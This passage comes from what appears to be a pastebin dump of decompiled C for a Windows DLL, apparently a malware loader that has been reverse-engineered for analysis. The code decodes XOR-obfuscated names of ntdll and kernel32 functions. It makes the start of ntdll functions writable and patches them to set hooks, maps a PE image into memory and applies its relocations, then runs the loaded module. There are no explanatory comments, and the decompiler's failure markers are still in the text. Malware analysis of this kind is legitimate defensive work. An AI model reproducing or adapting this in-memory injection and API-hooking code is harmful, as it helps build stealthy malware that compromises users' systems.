  689.         v11 = sub_100016A5(dword_10004010, dword_10004014, &v12);
  690.         if ( !v11 )
  691.             *(_DWORD *)a4 = *(_DWORD *)(dword_10004014 + 128);
  692.         Imports.proc_UnmapViewOfFile(dword_10004014);
  693.         result = v11;
  694.     }
  695.     return result;
  696. }
  697. // 10001F36: using guessed type int (__stdcall *dword_10001F36)(_DWORD);
  698. // 10004000: using guessed type int dword_10004000;
  699. // 10004010: using guessed type int dword_10004010;
  700.  
  701. //----- (10001AB6) --------------------------------------------------------
  702. #error "FFFFFFFF: positive sp value has been found (funcsize=0)"
  703.  
  704. //----- (10001B78) --------------------------------------------------------
  705. #error "FFFFFFFF: positive sp value has been found (funcsize=0)"
  706.  
  707. //----- (10001DAF) --------------------------------------------------------
  708. void __fastcall sub_10001DAF(int a1, int a2)
  709. {
  710.     unsigned int v2; // esi@1
  711.     int v3; // edx@1
  712.     int v4; // eax@3
  713.     int *v5; // [sp+4h] [bp-38h]@1
  714.     signed int v6; // [sp+8h] [bp-34h]@1
  715.     int v7; // [sp+Ch] [bp-30h]@1
  716.     int v8; // [sp+18h] [bp-24h]@2
  717.     int v9; // [sp+28h] [bp-14h]@1
  718.     int v10; // [sp+2Ch] [bp-10h]@1
  719.     char v11; // [sp+30h] [bp-Ch]@1
  720.  
  721.     obfuscatedImports * Imports;
  722.  
  723.     v10 = a1;
  724.     v9 = a2;
  725.     v6 = 28;
  726.     v5 = &v7;
  727.     Imports = GetHandleToNtdll();
  728.     Imports->proc_VirtualQuery(&v5, v5, v6);
  729.     v2 = (unsigned int)&v11;
  730.     do
  731.     {
  732.         if ( v2 >= v8 + v7 )
  733.             break;
  734.         v4 = *(_DWORD *)v2;
  735.         v2 += 4;
  736.     }
  737.     while ( (v4 ^ 0xAE1979DD) + 4 != v2 );
  738. }
  739.  
  740. //----- (10001DF1) --------------------------------------------------------
  741. obfuscatedImports * __cdecl GetHandleToNtdll()
  742. {
  743.     return (obfuscatedImports *)&Handle_Ntdll_dll;
  744. }
  745.  
  746. //----- (10001E44) --------------------------------------------------------
  747. int __usercall sub_10001E44<eax>(int a1<eax>, int a2<edx>, int a3<ecx>)
  748. {
  749.     int v3; // eax@1
  750.     int v4; // ecx@1
  751.     int v5; // edx@1
  752.     int v6; // eax@2
  753.     int v7; // edx@2
  754.     int v8; // ecx@2
  755.     int v9; // ST00_4@2
  756.     int v10; // edx@2
  757.     int v11; // edx@11
  758.     int v12; // eax@11
  759.     int v15; // [sp-10h] [bp-10h]@2
  760.     int v16; // [sp-Ch] [bp-Ch]@1
  761.     int v17; // [sp-8h] [bp-8h]@1
  762.     int v18; // [sp-4h] [bp-4h]@1
  763.     obfuscatedImports * Imports;
  764.  
  765.  
  766.     v18 = a1;
  767.     v17 = a3;
  768.     v16 = a2;
  769.     Imports = GetHandleToNtdll();
  770.     Imports->field_4 = 0;
  771.     v3 = Imports->proc_GetProcAddress(Imports->Handle_Ntdll_dll, v16);
  772.     v4 = v17;
  773.     if ( v3 )
  774.     {
  775.         v17 = v3;
  776.         v16 = v4;
  777.         v15 = v3;
  778.         v9 = v3;
  779.         Imports = GetHandleToNtdll();
  780.         v7 = Imports->proc_VirtualProtect(v9, 24, PAGE_EXECUTE_WRITECOPY, &v15);
  781.         v8 = v16;
  782.         v6 = v17;
  783.         if ( v7 )
  784.         {
  785.             if ( *(_BYTE *)v17 == -72 )
  786.             {
  787.                 if ( *(_BYTE *)(v17 + 5) == -70 )
  788.                 {
  789.                     if ( *(_WORD *)(v17 + 10) != -11521 )
  790.                     {
  791.                         if ( *(_WORD *)(v17 + 10) != 4863 )
  792.                             return v18;
  793.                         *(_BYTE *)(v17 + 11) = -46;
  794.                     }
  795.                     *(_DWORD *)(v6 + 6) = v8;
  796.                     return v18;
  797.                 }
  798.                 if ( *(_DWORD *)(v17 + 5) == 69489805 )
  799.                 {
  800.                     if ( *(_DWORD *)(v17 + 8) == -1037120252 )
  801.                     {
  802.                         *(_DWORD *)(v17 + 6) = v16 - v17 - 10;
  803.                         *(_BYTE *)(v6 + 5) = -24;
  804.                         *(_BYTE *)(v6 + 10) = -112;
  805.                     }
  806.                 }
  807.                 else
  808.                 {
  809.                     if ( *(_DWORD *)(v17 + 7) == 69489805 )
  810.                     {
  811.                         if ( *(_DWORD *)(v17 + 11) == -1072300188 )
  812.                         {
  813.                             if ( *(_DWORD *)(v17 + 15) == -1040187392 )
  814.                             {
  815.                                 v17 = v7;
  816.                                 Imports = GetHandleToNtdll();
  817.                                 Imports->field_4 = 1;
  818.                                 v16 = v12;
  819.                                 _ESI = v12;
  820.                                 __asm { lock cmpxchg8b qword ptr [esi+0Ah] }
  821.                             }
  822.                         }
  823.                     }
  824.                 }
  825.             }
  826.         }
  827.     }
  828.     return v18;
  829. }
  830.  
  831. //----- (10001F5E) --------------------------------------------------------
  832. void __cdecl Scramble_Bytes(BYTE * input, char * output)
  833. {
  834.     if ( input )
  835.     {
  836.         for( ; *output = *input ^ 0x12; ++output, input += 2) {}
  837.     }
  838.     else
  839.     {
  840.         *output = 0;
  841.     }
  842. }
  843.  
  844.     //----- (10001F81) --------------------------------------------------------
  845.     void __cdecl Scramble_Words(WORD * input, wchar_t * output)
  846.     {
  847.         if ( input )
  848.         {
  849.             for(; *output = *input ^ 0xAE12; ++input, ++output) {}
  850.         }
  851.         else
  852.         {
  853.             *output = 0;
  854.         }
  855.     }
  856.  
  857.     //----- (10001FBE) --------------------------------------------------------
  858.     HMODULE __cdecl AcquireHandleToNtdll()
  859.     {
  860.         wchar_t ModuleName[100];
  861.  
  862.         Scramble_Words(obfw_ntdll_dll, ModuleName);
  863.         return GetModuleHandleW(ModuleName);
  864.     }
  865.  
  866.     //----- (10001FE9) --------------------------------------------------------
  867.     FARPROC __cdecl GetScrambledProcAddress(WORD * Module, BYTE * Proc)
  868.     {
  869.         HMODULE hModule;
  870.         wchar_t ModuleName[100];
  871.         char ProcName[100];
  872.  
  873.         Scramble_Words(Module, ModuleName);
  874.         Scramble_Bytes(Proc, ProcName);
  875.         hModule = GetModuleHandleW(ModuleName);
  876.         return GetProcAddress(hModule, ProcName);
  877.     }
  878.  
  879.     //----- (1000202A) --------------------------------------------------------
  880.     void __cdecl memcpy_wrapper_1(void *Dst, const void *Src, unsigned int Size)
  881.     {
  882.         memcpy(Dst, Src, Size);
  883.     }
  884.  
  885.     //----- (1000203E) --------------------------------------------------------
  886.     FARPROC __cdecl GetScrambledProcAddressFromKernel32(BYTE * Proc)
  887.     {
  888.         return GetScrambledProcAddress(obfw_kernel32_dll, Proc);
  889.     }
  890.  
  891.     //----- (1000204F) --------------------------------------------------------
  892.     FARPROC __cdecl GetScrambledProcAddressFromNtdll(BYTE * Proc)
  893.     {
  894.         return GetScrambledProcAddress(obfw_ntdll_dll, Proc);
  895.     }
  896.  
  897.     //----- (10002060) --------------------------------------------------------
  898.     signed int __cdecl sub_10002060(int a1)
  899.     {
  900.         int v2; // [sp-4h] [bp-9Ch]@3
  901.         int v3; // [sp+0h] [bp-98h]@8
  902.         int v4; // [sp+4h] [bp-94h]@5
  903.         int v5; // [sp+8h] [bp-90h]@11
  904.         int v6; // [sp+Ch] [bp-8Ch]@1
  905.         int v7; // [sp+10h] [bp-88h]@1
  906.         int v8; // [sp+14h] [bp-84h]@1
  907.         unsigned int v9; // [sp+18h] [bp-80h]@1
  908.         int v10; // [sp+1Ch] [bp-7Ch]@1
  909.         int v11; // [sp+20h] [bp-78h]@11
  910.         int v12; // [sp+24h] [bp-74h]@1
  911.         char v13; // [sp+28h] [bp-70h]@5
  912.  
  913.         v7 = *(_DWORD *)(a1 + 32);
  914.         v8 = (char *)&dword_10001F1A + *(_DWORD *)(a1 + 8) - byte_10001AB9;
  915.         memcpy_wrapper_2(&v9, (const void *)v7, 0x80u);
  916.         v9 = (unsigned int)&v9 ^ 0xAE1979DD;
  917.         v10 = 0;
  918.         v12 = *(_DWORD *)(a1 + 4);
  919.         v6 = sub_100025C7(v8, (int)&v9, *(const void **)(v7 + 140), *(_DWORD *)(v7 + 144));
  920.         if ( v6 )
  921.             return v6;
  922.         v6 = sub_10002529(a1, v8);
  923.         if ( v6 )
  924.             return -4;
  925.         v4 = (*(int (__thiscall **)(int, char *))(v8 + 36))(v2, &v13);
  926.         if ( !v4 )
  927.             return -9;
  928.         *(_DWORD *)(v7 + 128) = v4;
  929.         if ( *(_DWORD *)(v7 + 148) != -1 )
  930.         {
  931.             v3 = (*(int (__thiscall **)(int, _DWORD, signed int, _DWORD, int, _DWORD, _DWORD))(v8 + 52))(
  932.                 v4,
  933.                 0,
  934.                 524288,
  935.                 *(_DWORD *)a1,
  936.                 a1,
  937.                 0,
  938.                 0);
  939.             if ( !v3 )
  940.                 return -13;
  941.             (*(void (__stdcall **)(int, signed int))(v8 + 56))(v3, -1);
  942.             (*(void (__stdcall **)(int, int *))(v8 + 60))(v3, &v6);
  943.         }
  944.         v5 = v11;
  945.         if ( v11 )
  946.         {
  947.             v11 = 0;
  948.             (*(void (__stdcall **)(int))(v8 + 64))(v5);
  949.         }
  950.         (*(void (__stdcall **)(int))(v8 + 28))(v7);
  951.         return v6;
  952.     }
  953.     // 10001F1A: using guessed type int dword_10001F1A;
  954.  
  955.     //----- (100021FE) --------------------------------------------------------
  956.     int __stdcall sub_100021FE(int a1)
  957.     {
  958.         int result; // eax@2
  959.         int v2; // [sp+0h] [bp-Ch]@1
  960.         int v3; // [sp+4h] [bp-8h]@1
  961.         unsigned int v4; // [sp+8h] [bp-4h]@1
  962.  
  963.         v3 = *(_DWORD *)(a1 + 32);
  964.         v4 = (char *)&dword_10001F1A + *(_DWORD *)(a1 + 8) - byte_10001AB9;
  965.         v2 = (*(int (__stdcall **)(_DWORD, _DWORD))(v4 + 20))(*(_DWORD *)(v3 + 128), *(_DWORD *)(v3 + 148));
  966.         if ( v2 )
  967.         {
  968.             ((void (__cdecl *)(_DWORD, _DWORD))v2)(*(_DWORD *)(v3 + 132), *(_DWORD *)(v3 + 136));
  969.             result = 0;
  970.         }
  971.         else
  972.         {
  973.             (*(void (__stdcall **)(_DWORD))(v4 + 40))(*(_DWORD *)(v3 + 128));
  974.             result = 0;
  975.         }
  976.         return result;
  977.     }
  978.     // 10001F1A: using guessed type int dword_10001F1A;
  979.  
  980.     //----- (10002271) --------------------------------------------------------
  981.     int __cdecl sub_10002271(int a1, int a2, int a3)
  982.     {
  983.         int result; // eax@1
  984.  
  985.         *(_DWORD *)(a1 + 80) = *(_DWORD *)(a2 + 40) + *(_DWORD *)(a2 + 52);
  986.         *(_DWORD *)(a1 + 84) = 0;
  987.         *(_DWORD *)(a1 + 88) = *(_DWORD *)(a2 + 96);
  988.         *(_DWORD *)(a1 + 92) = *(_DWORD *)(a2 + 100);
  989.         *(_DWORD *)(a1 + 96) = *(_WORD *)(a2 + 92);
  990.         *(_WORD *)(a1 + 100) = *(_WORD *)(a2 + 74);
  991.         *(_WORD *)(a1 + 102) = *(_WORD *)(a2 + 72);
  992.         *(_DWORD *)(a1 + 104) = 0;
  993.         *(_WORD *)(a1 + 108) = *(_WORD *)(a2 + 22);
  994.         *(_WORD *)(a1 + 110) = *(_WORD *)(a2 + 94);
  995.         *(_WORD *)(a1 + 112) = *(_WORD *)(a2 + 4);
  996.         *(_BYTE *)(a1 + 114) = 1;
  997.         *(_BYTE *)(a1 + 115) = 4;
  998.         *(_DWORD *)(a1 + 116) = *(_DWORD *)(a2 + 112);
  999.         *(_DWORD *)(a1 + 120) = a3;
  1000.         result = a1 + 80;
  1001.         *(_DWORD *)(a1 + 124) = 0;
  1002.         return result;
  1003.     }
  1004.  
  1005.     //----- (10002334) --------------------------------------------------------
  1006.     signed int __stdcall sub_10002334(int a1)
  1007.     {
  1008.         signed int result; // eax@3
  1009.         int v2; // ST08_4@20
  1010.         int v3; // [sp+8h] [bp-24h]@12
  1011.         unsigned int v4; // [sp+Ch] [bp-20h]@12
  1012.         unsigned int j; // [sp+10h] [bp-1Ch]@14
  1013.         int v6; // [sp+18h] [bp-14h]@6
  1014.         int v7; // [sp+1Ch] [bp-10h]@6
  1015.         int v8; // [sp+24h] [bp-8h]@4
  1016.         int i; // [sp+28h] [bp-4h]@10
  1017.  
  1018.         if ( a1 && *(_DWORD *)a1 )
  1019.         {
  1020.             v8 = *(_DWORD *)a1;
  1021.             if ( **(_WORD **)a1 == 23117 )
  1022.             {
  1023.                 v6 = *(_DWORD *)(*(_DWORD *)a1 + 60) + v8;
  1024.                 v7 = v8 - *(_DWORD *)(v6 + 52);
  1025.                 if ( v8 == *(_DWORD *)(v6 + 52) )
  1026.                 {
  1027.                     result = 0;
  1028.                 }
  1029.                 else
  1030.                 {
  1031.                     *(_DWORD *)(v6 + 52) = v8;
  1032.                     if ( *(_DWORD *)(v6 + 164) )
  1033.                     {
  1034.                         for ( i = *(_DWORD *)(v6 + 160) + v8; *(_DWORD *)(i + 4); i += *(_DWORD *)(i + 4) )
  1035.                         {
  1036.                             v4 = *(_DWORD *)(i + 4) - 8;
  1037.                             v3 = i + 8;
  1038.                             if ( v4 % 2 )
  1039.                                 return -1073741800;
  1040.                             for ( j = 0; j < v4 >> 1; ++j )
  1041.                             {
  1042.                                 if ( (unsigned __int8)(*(_WORD *)v3 >> 8) >> 4 )
  1043.                                 {
  1044.                                     if ( (unsigned __int8)(*(_WORD *)v3 >> 8) >> 4 != 3 )
  1045.                                         return -1073741800;
  1046.                                     v2 = (*(_WORD *)v3 & 0xFFF) + *(_DWORD *)i + v8;
  1047.                                     *(_DWORD *)v2 += v7;
  1048.                                 }
  1049.                                 v3 += 2;
  1050.                             }
  1051.                         }
  1052.                         result = 0;
  1053.                     }
  1054.                     else
  1055.                     {
  1056.                         result = -1073741800;
  1057.                     }
  1058.                 }
  1059.             }
  1060.             else
  1061.             {
  1062.                 result = -1073741819;
  1063.             }
  1064.         }
  1065.         else
  1066.         {
  1067.             result = -1073741819;
  1068.         }
  1069.         return result;
  1070.     }
  1071.  
  1072.     //----- (10002493) --------------------------------------------------------
  1073.     void __cdecl memcpy_wrapper_2(void *Dst, const void *Src, unsigned int Size)
  1074.     {
  1075.         memcpy(Dst, Src, Size);
  1076.     }
  1077.  
  1078.     //----- (100024A7) --------------------------------------------------------
  1079.     int __cdecl sub_100024A7(const void *a1, int a2, void *a3)
  1080.     {
  1081.         int result; // eax@2
  1082.         int v4; // [sp+0h] [bp-Ch]@1
  1083.         int v5; // [sp+4h] [bp-8h]@1
  1084.         int v6; // [sp+8h] [bp-4h]@1
  1085.  
  1086.         v4 = *(_WORD *)(a2 + 6);
  1087.         memcpy_wrapper_2(a3, a1, *(_DWORD *)(a2 + 84));
  1088.         v5 = a2 + *(_WORD *)(a2 + 20) + 24;
  1089.         v6 = 0;
  1090.         while ( 1 )
  1091.         {
  1092.             result = v6;
  1093.             if ( v6 >= v4 )
  1094.                 break;
  1095.             if ( *(_DWORD *)(v5 + 16) )
  1096.                 memcpy_wrapper_2((char *)a3 + *(_DWORD *)(v5 + 12), (char *)a1 + *(_DWORD *)(v5 + 20), *(_DWORD *)(v5 + 16));
  1097.             ++v6;
  1098.             v5 += 40;
  1099.         }
  1100.         return result;
  1101.     }
  1102.  
  1103.     //----- (10002529) --------------------------------------------------------
  1104.     signed int __cdecl sub_10002529(int a1, int a2)
  1105.     {
  1106.         signed int result; // eax@2
  1107.         int v3; // [sp+8h] [bp-Ch]@1
  1108.         void *v4; // [sp+Ch] [bp-8h]@3
  1109.         char v5; // [sp+10h] [bp-4h]@5
  1110.  
  1111.         v3 = *(_DWORD *)a2;
  1112.         if ( *(_DWORD *)a2 )
  1113.         {
  1114.             v4 = (void *)(v3 + 64);
  1115.             if ( *(_DWORD *)(v3 + 64) == -1421275077 )
  1116.             {
  1117.                 result = 0;
  1118.             }
  1119.             else
  1120.             {
  1121.                 if ( (*(int (__stdcall **)(int, signed int, signed int, char *))(a2 + 16))(v3, 4096, 128, &v5) )
  1122.                 {
  1123.                     memcpy_wrapper_2(v4, *(const void **)(a1 + 24), *(_DWORD *)(a1 + 28));
  1124.                     (*(void (__thiscall **)(void *))(a1 + 8))(v4);
  1125.                     (*(void (__stdcall **)(signed int, _DWORD, _DWORD))(a2 + 32))(-1, 0, 0);
  1126.                     result = 0;
  1127.                 }
  1128.                 else
  1129.                 {
  1130.                     result = -4;
  1131.                 }
  1132.             }
  1133.         }
  1134.         else
  1135.         {
  1136.             result = 0;
  1137.         }
  1138.         return result;
  1139.     }
  1140.  
  1141.     //----- (100025C7) --------------------------------------------------------
  1142.     signed int __cdecl sub_100025C7(int a1, int a2, const void *a3, int a4)
  1143.     {
  1144.         signed int result; // eax@2
  1145.         int v5; // [sp+0h] [bp-1Ch]@3
  1146.         int v6; // [sp+4h] [bp-18h]@5
  1147.         int v7; // [sp+8h] [bp-14h]@5
  1148.         int v8; // [sp+Ch] [bp-10h]@5
  1149.         int v9; // [sp+10h] [bp-Ch]@7
  1150.         int v10; // [sp+14h] [bp-8h]@5
  1151.         const void *v11; // [sp+18h] [bp-4h]@1
  1152.  
  1153.         *(_DWORD *)(a2 + 8) = 0;
  1154.         v11 = a3;
  1155.         if ( *(_WORD *)a3 == 23117 )
  1156.         {
  1157.             v5 = (int)((char *)a3 + *((_DWORD *)v11 + 15));
  1158.             if ( *(_DWORD *)v5 == 17744 )
  1159.             {
  1160.                 v6 = *(_DWORD *)(v5 + 80);
  1161.                 v7 = 0;
  1162.                 v8 = (*(int (__stdcall **)(int *, signed int, _DWORD, int *, signed int, signed int, _DWORD))(a1 + 44))(
  1163.                     &v10,
  1164.                     983071,
  1165.                     0,
  1166.                     &v6,
  1167.                     64,
  1168.                     134217728,
  1169.                     0);
  1170.                 if ( v8 )
  1171.                 {
  1172.                     result = -11;
  1173.                 }
  1174.                 else
  1175.                 {
  1176.                     v9 = (*(int (__stdcall **)(int, signed int, _DWORD, _DWORD, _DWORD))(a1 + 24))(v10, 6, 0, 0, 0);
  1177.                     if ( v9 )
  1178.                     {
  1179.                         *(_DWORD *)(a2 + 8) = v10;
  1180.                         sub_100024A7(a3, v5, (void *)v9);
  1181.                         sub_10002271(a2, v5, a4);
  1182.                         (*(void (__stdcall **)(int))(a1 + 28))(v9);
  1183.                         result = 0;
  1184.                     }
  1185.                     else
  1186.                     {
  1187.                         (*(void (__stdcall **)(int))(a1 + 64))(v10);
  1188.                         result = -10;
  1189.                     }
  1190.                 }
  1191.             }
  1192.             else
  1193.             {
  1194.                 result = -2;
  1195.             }
  1196.         }
  1197.         else
  1198.         {
  1199.             result = -2;
  1200.         }
  1201.         return result;
  1202.     }
  1203.  
  1204.     //----- (100026A8) --------------------------------------------------------
  1205.     void __cdecl sub_100026A8()
  1206.     {
  1207.         ;
  1208.     }
  1209.  
  1210. #error "There were 2 decompilation failure(s) on 43 function(s)"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement